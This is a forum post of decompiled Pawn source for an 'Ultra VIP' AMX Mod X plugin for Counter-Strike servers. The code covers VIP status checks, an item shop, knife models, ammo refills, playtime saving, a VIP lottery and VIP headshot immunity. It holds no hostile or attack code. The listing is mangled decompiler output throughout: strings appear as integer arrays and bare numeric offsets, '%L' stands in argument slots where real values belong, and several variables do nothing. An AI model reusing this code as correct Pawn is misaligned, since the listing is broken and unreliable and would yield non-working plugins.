	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (!var1 || bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || !bym_igrac_je(id, 0))
	{
		return 0;
	}
	ArrayGetArray(NizPomagala, IdPomagala, Pomagala);
	new PovratnaReakcija;
	if (!Besplatno)
	{
		if (Pomagala[64] > cs_get_user_money(id))
		{
			ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NEMAS_DOVOLJNO_PARA");
			return 0;
		}
		cs_set_user_money(id, cs_get_user_money(id) - Pomagala[64], 1);
	}
	ExecuteForward(Forward, PovratnaReakcija, id, IdPomagala);
	return 0;
}

public Napad1(Objekat)
{
	new id = pev(Objekat, 18);
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (var1)
	{
		pev(id, 140, UgaoGuranja[id]);
		return 1;
	}
	return 1;
}

public Napad2(Objekat)
{
	new id = pev(Objekat, 18);
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (var1)
	{
		new Float:Guraj[3] = 0.0;
		pev(id, 140, Guraj);
		xs_vec_sub(Guraj, UgaoGuranja[id], Guraj);
		xs_vec_mul_scalar(Guraj, 0.0, Guraj);
		xs_vec_add(Guraj, UgaoGuranja[id], Guraj);
		set_pev(id, 140, Guraj);
		return 1;
	}
	return 1;
}

public OnlineVipovi(id)
{
	new ImenaVipova[33][32] = {
		{
			4, 37, 76, 32, 58, 32, 0, 77, 76, 95, 79, 78, 76, 73, 78, 69, 95, 86, 73, 80, 79, 86, 73, 0, 37, 115, 37, 115, 32, 0, 44, 32
		},
		{
			0, 0, 37, 115, 0, 4, 32, 0, 37, 115, 0, 37, 76, 0, 77, 76, 95, 78, 69, 77, 65, 95, 86, 73, 80, 79, 86, 65, 95, 79, 78, 76
		},
		{
			73, 78, 69, 0, 37, 115, 0, 91, 85, 108, 116, 114, 97, 32, 86, 105, 112, 93, 32, 1, 37, 76, 0, 77, 76, 95, 79, 80, 67, 73, 74, 65
		},
		{
			95, 79, 78, 69, 77, 79, 71, 85, 67, 69, 78, 65, 95, 90, 65, 95, 86, 73, 80, 79, 86, 69, 0, 91, 85, 108, 116, 114, 97, 32, 86, 73
		},
		{
			80, 93, 32, 1, 37, 76, 0, 77, 76, 95, 78, 69, 77, 65, 95, 78, 79, 90, 69, 86, 65, 0, 91, 85, 108, 116, 114, 97, 32, 86, 73, 80
		},
		{
			93, 32, 1, 37, 76, 0, 77, 76, 95, 78, 73, 83, 73, 95, 86, 73, 80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
		},
		{
			0, 0, 0, 0, 0, 0, 92, 121, 37, 76, 58, 0, 77, 76, 95, 78, 65, 83, 76, 79, 86, 95, 78, 79, 90, 69, 86, 73, 0, 73, 122, 97
		},
		{
			98, 101, 114, 105, 78, 111, 122, 70, 117, 110, 107, 99, 105, 106, 97, 0, 92, 121, 37, 115, 0, 91, 85, 108, 116, 114, 97, 32, 86, 105, 112, 93
		},
		{
			32, 1, 37, 76, 0, 77, 76, 95, 79, 80, 67, 73, 74, 65, 95, 79, 78, 69, 77, 79, 71, 85, 67, 69, 78, 65, 95, 90, 65, 95, 86, 73
		},
		{
			80, 79, 86, 69, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 117, 116, 114
		},
		{
			97, 95, 118, 105, 112, 95, 98, 121, 109, 0, 100, 97, 95, 108, 105, 95, 106, 101, 95, 118, 105, 112, 0, 78, 97, 116, 105, 118, 101, 68, 97, 76
		},
		{
			105, 74, 101, 86, 105, 112, 0, 100, 97, 106, 95, 118, 105, 112, 97, 0, 78, 97, 116, 105, 118, 101, 68, 97, 106, 86, 105, 112, 97, 0, 118, 105
		},
		{
			112, 95, 114, 101, 103, 105, 115, 116, 114, 117, 106, 95, 112, 111, 109, 97, 103, 97, 108, 111, 0, 78, 97, 116, 105, 118, 101, 82, 101, 103, 105, 115
		},
		{
			116, 114, 117, 106, 80, 111, 109, 97, 103, 97, 108, 111, 0, 111, 116, 118, 111, 114, 105, 95, 118, 105, 112, 95, 109, 101, 110, 105, 0, 78, 97, 116
		},
		{
			105, 118, 101, 79, 116, 118, 111, 114, 105, 80, 114, 111, 100, 97, 118, 110, 105, 99, 117, 0, 111, 116, 118, 111, 114, 105, 95, 112, 114, 111, 100, 97
		},
		{
			118, 110, 105, 99, 117, 0, 78, 97, 116, 105, 118, 101, 79, 116, 118, 111, 114, 105, 86, 105, 112, 77, 101, 110, 105, 0, 118, 105, 112, 95, 107, 117
		},
		{
			112, 105, 95, 112, 111, 109, 97, 103, 97, 108, 111, 0, 78, 97, 116, 105, 118, 101, 75, 117, 112, 105, 80, 111, 109, 97, 103, 97, 108, 111, 0, 118
		},
		{
			105, 112, 95, 105, 100, 95, 112, 111, 109, 97, 103, 97, 108, 97, 0, 78, 97, 116, 105, 118, 101, 73, 100, 80, 111, 109, 97, 103, 97, 108, 97, 0
		},
		{
			118, 105, 112, 95, 114, 101, 103, 105, 115, 116, 114, 117, 106, 95, 110, 111, 122, 0, 78, 97, 116, 105, 118, 101, 82, 101, 103, 105, 115, 116, 114, 117
		},
		{
			106, 78, 111, 122, 0, 118, 105, 112, 95, 100, 97, 106, 95, 110, 111, 122, 0, 78, 97, 116, 105, 118, 101, 68, 97, 106, 78, 111, 122, 0, 118, 105
		},
		{
			112, 95, 105, 100, 95, 110, 111, 122, 97, 0, 78, 97, 116, 105, 118, 101, 73, 100, 78, 111, 122, 97, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
		},
		{
			0, ...
		},
		{
			0, ...
		},
		{
			0, ...
		},
		{
			0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 98, 105, 99, 97, 110, 32, 78, 111
		},
		{
			122, 32, 40, 68, 101, 102, 97, 117, 108, 116, 32, 75, 110, 105, 102, 101, 41, 0, 109, 111, 100, 101, 108, 115, 47, 118, 95, 107, 110, 105, 102, 101
		},
		{
			46, 109, 100, 108, 0, 109, 111, 100, 101, 108, 115, 47, 118, 95, 107, 110, 105, 102, 101, 46, 109, 100, 108, 0, 91, 85, 108, 116, 114, 97, 32, 86
		},
		{
			105, 112, 93, 32, 1, 76, 111, 97, 100, 105, 110, 103, 32, 124, 32, 85, 99, 105, 116, 97, 118, 97, 109, 46, 46, 46, 0, 104, 116, 116, 112, 58
		},
		{
			47, 47, 99, 111, 98, 97, 110, 46, 101, 104, 114, 115, 46, 105, 110, 102, 111, 47, 117, 108, 116, 114, 97, 95, 118, 105, 112, 46, 112, 104, 112, 0
		},
		{
			85, 108, 116, 114, 97, 32, 86, 73, 80, 32, 73, 110, 102, 111, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 37, 100, 32, 37, 100, 32, 37
		},
		{
			100, 0, 85, 108, 116, 114, 97, 95, 86, 105, 112, 95, 86, 114, 101, 109, 101, 95, 73, 103, 114, 97, 99, 97, 0, 0, 0, 0, 0, 0, 0, 0
		},
		{
			0, 0, 0, 16, 24, 32, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 85, 108, 116, 114, 97, 95, 86, 105, 112, 95, 86, 114, 101
		},
		{
			109, 101, 95, 73, 103, 114, 97, 99, 97, 0, 91, 85, 108, 116, 114, 97, 32, 86, 105, 112, 93, 32, 1, 37, 76, 0, 77, 76, 95, 79, 80, 67
		}
	};
	new Poruka[256];
	new Izbroj;
	new BrojCelija;
	new i = 1;
	while (Globalne[0] >= i)
	{
		new var2;
		if (bym_igrac_je(i, 1) && !bym_igrac_je(i, 2) && 1 << i & 31 & OznakeIgraca[0])
		{
			Izbroj++;
			get_user_name(i, ImenaVipova[Izbroj], 31);
		}
		i++;
	}
	BrojCelija = formatex(Poruka, 255, 78540, id, "ML_ONLINE_VIPOVI");
	if (0 < Izbroj)
	{
		new k;
		while (k < Izbroj)
		{
			new var3;
			if (k < Izbroj + -1)
			{
				var3 = 78660;
			}
			else
			{
				var3 = 78672;
			}
			BrojCelija = formatex(Poruka[BrojCelija], 255 - BrojCelija, "%s%s ", ImenaVipova[k], var3) + BrojCelija;
			if (BrojCelija > 96)
			{
				ColorChat(id, Color:2, "%s", Poruka);
				BrojCelija = formatex(Poruka[BrojCelija], 255 - BrojCelija, "\x04 ") + BrojCelija;
			}
			k++;
		}
		ColorChat(id, Color:2, "%s", Poruka);
	}
	else
	{
		BrojCelija = formatex(Poruka[BrojCelija], 255 - BrojCelija, "%L", id, "ML_NEMA_VIPOVA_ONLINE") + BrojCelija;
		ColorChat(id, Color:2, "%s", Poruka);
	}
	return 1;
}

public PromeniModelNoza(Objekat)
{
	new id = get_pdata_cbase(Objekat, 41, 4, 5);
	new var2;
	if (bym_igrac_je(id, 0) && bym_igrac_je(id, 1) && 1 << id & 31 & OznakeIgraca[0] && !BrojNozeva <= 0 && Cvar[39][1])
	{
		ArrayGetArray(NizNozevi, InformacijeIgraca[id][3], Nozevi);
		entity_set_string(id, "", 53352 + 128);
	}
	return 0;
}

public TrenutnoOruzije(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (!var1 || bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || !bym_igrac_je(id, 0))
	{
		return 0;
	}
	new Oruzije = read_data(2);
	switch (Cvar[25][1])
	{
		case 0:
		{
			return 0;
		}
		case 1:
		{
			new IdOruzija[32];
			new BrojOruzija;
			get_user_weapons(id, IdOruzija, BrojOruzija);
			new i;
			while (i < BrojOruzija)
			{
				if (bym_igrac_je(id, 1))
				{
					if (0 < MunicijaOruzija[IdOruzija[i]][0])
					{
						cs_set_user_bpammo(id, IdOruzija[i], MunicijaOruzija[IdOruzija[i]][0]);
					}
				}
				i++;
			}
		}
		case 2:
		{
			if (MunicijaOruzija[Oruzije][1] != -1)
			{
				set_user_clip(id, MunicijaOruzija[Oruzije][1]);
			}
		}
		default:
		{
		}
	}
	return 0;
}

public IzaberiNoz(id)
{
	if (!Cvar[39][1])
	{
		ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA_ZA_VIPOVE");
		return 0;
	}
	if (!BrojNozeva)
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NEMA_NOZEVA");
		return 0;
	}
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (!var1)
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
		return 0;
	}
	static Naslov[20];
	formatex(Naslov, 19, "\y%L:", id, "ML_NASLOV_NOZEVI");
	new Meni = menu_create(Naslov, "IzaberiNozFunkcija", "%L");
	new Broj[3];
	new Sadrzaj[64];
	new i;
	while (i < BrojNozeva)
	{
		ArrayGetArray(NizNozevi, i, Nozevi);
		formatex(Sadrzaj, 63, "\y%s", Nozevi);
		num_to_str(i, Broj, 2);
		menu_additem(Meni, Sadrzaj, Broj, "%L", -1);
		i++;
	}
	menu_display(id, Meni, "%L");
	return 0;
}

public IzaberiNozFunkcija(id, Meni, Stavka)
{
	if (Stavka == -3)
	{
		menu_destroy(Meni);
		return 0;
	}
	if (!Cvar[39][1])
	{
		ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA_ZA_VIPOVE");
		return 0;
	}
	new PristupMeniju;
	new Broj[3];
	new Odziv;
	menu_item_getinfo(Meni, Stavka, PristupMeniju, Broj, 2, {0}, "%L", Odziv);
	menu_destroy(Meni);
	new IdNoza = str_to_num(Broj);
	new PovratnaReakcija;
	InformacijeIgraca[id][3] = IdNoza;
	ExecuteForward(ForwardNozevi, PovratnaReakcija, id, IdNoza);
	return 0;
}

set_user_clip(id, Municija)
{
	new ImeOruzija[24];
	new IdOruzija = -1;
	new Oruzije = get_user_weapon(id, 0, 0);
	get_weaponname(Oruzije, ImeOruzija, 23);
	while ((IdOruzija = find_ent_by_class(IdOruzija, ImeOruzija)))
	{
		if (id == entity_get_edict(IdOruzija, 4))
		{
			set_pdata_int(IdOruzija, 51, Municija, 4, 5);
			return IdOruzija;
		}
	}
	return 0;
}

RastaviCvarZaBoju(Cvar, &Crvena, &Zelena, &Plava)
{
	static Parce[5];
	static Boje[16];
	get_pcvar_string(Cvar, Boje, 15);
	strbreak(Boje, Parce, 4, Boje, 15);
	Crvena = str_to_num(Parce);
	strbreak(Boje, Parce, 4, Boje, 15);
	Zelena = str_to_num(Parce);
	Plava = str_to_num(Boje);
	return 0;
}

ObojiEkran(id, Trajanje, VremeZadrzavanja, Vrsta, Crvena, Zelena, Plava, Providnost)
{
	if (Cvar[27][1])
	{
		message_begin(1, Globalne[1], 79796, id);
		write_short(Trajanje);
		write_short(VremeZadrzavanja);
		write_short(Vrsta);
		write_byte(Crvena);
		write_byte(Zelena);
		write_byte(Plava);
		write_byte(Providnost);
		message_end();
	}
	return 0;
}

public plugin_natives()
{
	register_library("utra_vip_bym");
	register_native("da_li_je_vip", "NativeDaLiJeVip", 1);
	register_native("daj_vipa", "NativeDajVipa", 1);
	register_native("vip_registruj_pomagalo", "NativeRegistrujPomagalo", "%L");
	register_native("otvori_vip_meni", "NativeOtvoriProdavnicu", 1);
	register_native("otvori_prodavnicu", "NativeOtvoriVipMeni", 1);
	register_native("vip_kupi_pomagalo", "NativeKupiPomagalo", 1);
	register_native("vip_id_pomagala", "NativeIdPomagala", 1);
	register_native("vip_registruj_noz", "NativeRegistrujNoz", "%L");
	register_native("vip_daj_noz", "NativeDajNoz", 1);
	register_native("vip_id_noza", "NativeIdNoza", 1);
	return 0;
}

public NativeDaLiJeVip(id)
{
	new var1;
	if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1))
	{
		return -1;
	}
	new var2;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var2 = 1;
	}
	else
	{
		var2 = 0;
	}
	return var2;
}

public NativeDajVipa(id, Dodavac, Nasta, LozinkaIgraca[], Razlog[])
{
	new var2;
	if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || 1 << id & 31 & OznakeIgraca[0])
	{
		return 0;
	}
	DajVipa(id, Dodavac, Nasta, LozinkaIgraca, Razlog);
	return 0;
}

public NativeRegistrujPomagalo(Plugin, Parametri)
{
	get_string(1, Pomagala, 63);
	Pomagala[64] = get_param(2);
	ArrayPushArray(NizPomagala, Pomagala);
	BrojDodatihPomagala += 1;
	return BrojDodatihPomagala + -1;
}

public NativeOtvoriProdavnicu(id)
{
	new var1;
	if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1))
	{
		return 0;
	}
	KupiPomagala(id);
	return 0;
}

public NativeOtvoriVipMeni(id)
{
	new var1;
	if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1))
	{
		return 0;
	}
	VipMeni(id);
	return 0;
}

public NativeKupiPomagalo(id, IdPomagala)
{
	new var2;
	if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || !bym_igrac_je(id, 0) || 1 << id & 31 & OznakeIgraca[0] || IdPomagala < 0 || IdPomagala >= BrojDodatihPomagala)
	{
		return 0;
	}
	KupiPomagalo(id, IdPomagala, 1);
	return 1;
}

public NativeIdPomagala(ImePom[])
{
	param_convert(1);
	if (!strlen(ImePom))
	{
		return -1;
	}
	new i;
	while (i < BrojDodatihPomagala)
	{
		ArrayGetArray(NizPomagala, i, Pomagala);
		if (equal(Pomagala, ImePom, "%L"))
		{
			return i;
		}
		i++;
	}
	return -1;
}

public NativeRegistrujNoz(Plugin, Parametri)
{
	static Model[128];
	get_string(1, Nozevi, 31);
	get_string(2, 53352 + 128, 63);
	get_string(2, Model, 127);
	engfunc("%L", Model);
	ArrayPushArray(NizNozevi, Nozevi);
	BrojNozeva += 1;
	return BrojNozeva + -1;
}

public NativeDajNoz(id, IdNoza)
{
	new var2;
	if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || !bym_igrac_je(id, 0) || 1 << id & 31 & OznakeIgraca[0] || IdNoza < 0 || IdNoza >= BrojNozeva)
	{
		return 0;
	}
	InformacijeIgraca[id][3] = IdNoza;
	return 1;
}

public NativeIdNoza(ImeNoza2[])
{
	param_convert(1);
	if (!strlen(ImeNoza2))
	{
		return -1;
	}
	new i;
	while (i < BrojNozeva)
	{
		ArrayGetArray(NizNozevi, i, Nozevi);
		if (equal(Nozevi, ImeNoza2, "%L"))
		{
			return i;
		}
		i++;
	}
	return -1;
}

public RegistrujObicanNoz()
{
	copy(Nozevi, 31, "Obican Noz (Default Knife)");
	copy(53352 + 128, 63, "models/v_knife.mdl");
	engfunc("%L", "models/v_knife.mdl");
	ArrayPushArray(NizNozevi, Nozevi);
	BrojNozeva += 1;
	return 0;
}

public VipInfo(id)
{
	if (bym_igrac_je(id, 1))
	{
		ColorChat(id, Color:2, "[Ultra Vip] \x01Loading | Ucitavam...");
		show_motd(id, "http://coban.ehrs.info/ultra_vip.php", "Ultra VIP Info");
	}
	return 0;
}

public PovecavajVreme(id)
{
	new var2;
	if (!Cvar[28][1] || 1 << id & 31 & OznakeIgraca[0])
	{
		return 0;
	}
	if (60 <= InformacijeIgraca[id][4])
	{
		InformacijeIgraca[id][4] = 0;
		InformacijeIgraca[id][5]++;
	}
	if (60 <= InformacijeIgraca[id][5])
	{
		InformacijeIgraca[id][5] = 0;
		InformacijeIgraca[id][6]++;
	}
	if (60 > InformacijeIgraca[id][4])
	{
		InformacijeIgraca[id][4]++;
	}
	return 0;
}

public SacuvajVreme(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (var1 || bym_igrac_je(id, 2) || !Cvar[28][1])
	{
		return 0;
	}
	static SadrzajBazePodataka[10];
	formatex(SadrzajBazePodataka, 9, "%d %d %d", InformacijeIgraca[id][6], InformacijeIgraca[id][5], InformacijeIgraca[id][4]);
	fvault_set_data("Ultra_Vip_Vreme_Igraca", InformacijeIgraca[id][7], SadrzajBazePodataka);
	return 0;
}

public UcitajVreme(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (var1 || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2) || !Cvar[28][1])
	{
		return 0;
	}
	static Podaci[4][3];
	static SadrzajBazePodataka[10];
	fvault_get_data("Ultra_Vip_Vreme_Igraca", InformacijeIgraca[id][7], SadrzajBazePodataka, 9, 0);
	new var3 = Podaci;
	parse(SadrzajBazePodataka, var3[0][var3], 2, Podaci[1], 2, Podaci[2], 2);
	new var4 = Podaci;
	InformacijeIgraca[id][6] = str_to_num(var4[0][var4]);
	InformacijeIgraca[id][5] = str_to_num(Podaci[1]);
	InformacijeIgraca[id][4] = str_to_num(Podaci[2]);
	return 0;
}

public PrikaziVreme(id)
{
	if (!Cvar[28][1])
	{
		ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA");
		return 0;
	}
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (var1)
	{
		ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA_ZA_VIPOVE");
		return 0;
	}
	ColorChat(id, Color:2, "[Ultra VIP] \n%L", id, "ML_PROVERI_VREME", InformacijeIgraca[id][6], InformacijeIgraca[id][5], InformacijeIgraca[id][4]);
	new var2;
	if (Cvar[29][1] - InformacijeIgraca[id][6] > 0)
	{
		var2 = Cvar[29][1] - InformacijeIgraca[id][6];
	}
	else
	{
		var2 = 0;
	}
	ColorChat(id, Color:2, "[Ultra VIP] \n%L", id, "ML_PROVERI_VREME2", var2);
	return 0;
}

public KupiTiket(id)
{
	if (!Cvar[30][1])
	{
		ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA");
		return 0;
	}
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	if (var1)
	{
		ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA_ZA_VIPOVE");
		return 0;
	}
	if (Cvar[31][1] > cs_get_user_money(id))
	{
		ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_NEMAS_DOVOLJNO_PARA");
		return 0;
	}
	cs_set_user_money(id, cs_get_user_money(id) - Cvar[31][1], 1);
	if (random_num(1, 20) == 1)
	{
		DajVipa(id, 0, 0, 83788, "Dobio VIP-a na lotou");
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_DOBIO_SI_NA_LOTOU");
	}
	else
	{
		ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_VISE_SRECE");
	}
	return 0;
}

public SpasioTaoca()
{
	static id;
	id = get_loguser_index();
	cs_set_user_money(id, Cvar[12][1] + cs_get_user_money(id), 1);
	ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_SPASIO_TAOCA", Cvar[12][1]);
	ExecuteForward(Forwardi[7], Odziv, id);
	return 0;
}

get_loguser_index()
{
	static ImeLogUser[32];
	static LogUser[80];
	read_logargv("%L", LogUser, 79);
	parse_loguser(LogUser, ImeLogUser, 31, -2, {0}, "%L", {0}, "%L");
	return get_user_index(ImeLogUser);
}

public IzaberiPusku(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (!var1 || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2) || !bym_igrac_je(id, 0))
	{
		return 0;
	}
	static Naslov[32];
	formatex(Naslov, 31, "%L", id, "ML_IZABERI_ORUZIJE");
	new Meni = menu_create(Naslov, "IzaberiPusku_Funkcija", "%L");
	new i;
	while (i < 13)
	{
		menu_additem(Meni, Puske[i][0], 64996, "%L", -1);
		i++;
	}
	menu_display(id, Meni, "%L");
	return 0;
}

public IzaberiPusku_Funkcija(id, Meni, Stavka)
{
	if (Stavka == -3)
	{
		menu_destroy(Meni);
		return 0;
	}
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (var1 && bym_igrac_je(id, 1) && bym_igrac_je(id, 0))
	{
		give_item(id, Puske[Stavka][1]);
		IzaberiPistolj(id);
		PodesiMuniciju(id);
	}
	return 0;
}

public IzaberiPistolj(id)
{
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (!var1 || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2) || !bym_igrac_je(id, 0))
	{
		return 0;
	}
	static Naslov[32];
	formatex(Naslov, 31, "%L", id, "ML_IZABERI_ORUZIJE");
	new Meni = menu_create(Naslov, "IzaberiPistolj_Funkcija", "%L");
	new i;
	while (i < 6)
	{
		menu_additem(Meni, Pistolji[i][0], 64996, "%L", -1);
		i++;
	}
	menu_display(id, Meni, "%L");
	return 0;
}

public IzaberiPistolj_Funkcija(id, Meni, Stavka)
{
	if (Stavka == -3)
	{
		menu_destroy(Meni);
		return 0;
	}
	new var1;
	if (1 << id & 31 & OznakeIgraca[0])
	{
		var1 = 1;
	}
	else
	{
		var1 = 0;
	}
	new var2;
	if (var1 && bym_igrac_je(id, 1) && bym_igrac_je(id, 0))
	{
		give_item(id, Pistolji[Stavka][1]);
		PodesiMuniciju(id);
	}
	return 0;
}

PodesiMuniciju(id)
{
	new IdOruzija[32];
	new BrojOruzija;
	get_user_weapons(id, IdOruzija, BrojOruzija);
	new i;
	while (i < BrojOruzija)
	{
		if (bym_igrac_je(id, 1))
		{
			if (0 < MunicijaOruzija[IdOruzija[i]][0])
			{
				cs_set_user_bpammo(id, IdOruzija[i], MunicijaOruzija[IdOruzija[i]][0]);
			}
		}
		i++;
	}
	return 0;
}

public fw_Ham_Weapon_Reload_Post(Objekat)
{
	new var1;
	if (get_pdata_int(Objekat, 54, 4, 5) && Cvar[33][1])
	{
		new id = get_pdata_cbase(Objekat, 41, 4, 5);
		new var2;
		if (1 << id & 31 & OznakeIgraca[0])
		{
			var2 = 1;
		}
		else
		{
			var2 = 0;
		}
		if (var2)
		{
			new Float:SledeciNapad = floatmul(1036831949, get_pdata_float(id, 83, 5, 5));
			set_pdata_float(id, 83, SledeciNapad, 5, 5);
			new Sekunde = floatround(SledeciNapad, 2);
			VremenskaLinija(id, Sekunde, 100 - floatround(SledeciNapad / Sekunde * 100, "%L"));
		}
	}
	return 0;
}

public fw_Ham_Item_Holster(Objekat)
{
	new var1;
	if (get_pdata_int(Objekat, 54, 4, 5) && Cvar[33][1])
	{
		new id = get_pdata_cbase(Objekat, 41, 4, 5);
		new var2;
		if (1 << id & 31 & OznakeIgraca[0])
		{
			var2 = 1;
		}
		else
		{
			var2 = 0;
		}
		if (var2)
		{
			VremenskaLinija(id, 0, 0);
		}
	}
	return 0;
}

public fw_AddToFullPack(es, e, ent, host, host_flags, player, p_set)
{
	if (!1 <= host <= 32)
	{
		return 1;
	}
	if (!bym_igrac_je(host, 0))
	{
		return 1;
	}
	if (!1 <= ent <= Globalne[0])
	{
		return 1;
	}
	new var1;
	if (!bym_igrac_je(ent, 0) || !Cvar[34][1])
	{
		return 1;
	}
	new var2;
	if (1 << host & 31 & OznakeIgraca[0])
	{
		var2 = 1;
	}
	else
	{
		var2 = 0;
	}
	if (var2)
	{
		set_es(es, 16, 1132396544);
	}
	return 2;
}

public fw_TraceLine(Float:PocetniVektor[3], Float:ZavrsniVektor[3], Ignorisi, Napadac, Zrtva)
{
	new var1;
	if (!bym_igrac_je(Napadac, 1) || !Cvar[37][1])
	{
		return 0;
	}
	new Pogodak = get_tr2(Zrtva, 8);
	if (!bym_igrac_je(Pogodak, 1))
	{
		return 0;
	}
	new ZonaPogodka = get_tr2(Zrtva, 9);
	new var2;
	if (1 << Zrtva & 31 & OznakeIgraca[0])
	{
		var2 = 1;
	}
	else
	{
		var2 = 0;
	}
	new var3;
	if (var2 && ZonaPogodka == 1)
	{
		set_tr2(Zrtva, 9, 8);
	}
	return 0;
}

bool:NocnoVreme()
{
	static Se;
	static M;
	static S;
	time(S, M, Se);
	static ZavrsniSat;
	static PocetniSat;
	PocetniSat = str_to_num(PodaciCvaraZaVreme[1]);
	ZavrsniSat = str_to_num(PodaciCvaraZaVreme[2]);
	if (ZavrsniSat == PocetniSat)
	{
		return false;
	}
	new var2;
	if (PocetniSat > ZavrsniSat && (S >= PocetniSat || S < ZavrsniSat))
	{
		return true;
	}
	new var4;
	if (PocetniSat < ZavrsniSat && (S >= PocetniSat || S < ZavrsniSat))
	{
		return true;
	}
	return false;
}

VremenskaLinija(id, Sekunde, Procenat)
{
	message_begin(8, PorukaVremenskaLinija, 2308, id);
	write_short(Sekunde);
	write_short(Procenat);
	message_end();
	return 0;
}

public plugin_end()
{
	TrieDestroy(Niz);
	TrieDestroy(52016 + 4);
	return 0;
}

Last edited by Kellan123; 07-21-2019 at 16:58.
Kellan123 is offline
Old 07-21-2019, 17:02
I am inevitable
This message has been deleted by DarkDeviL. Reason: Report, don't reply.
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 15:26.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode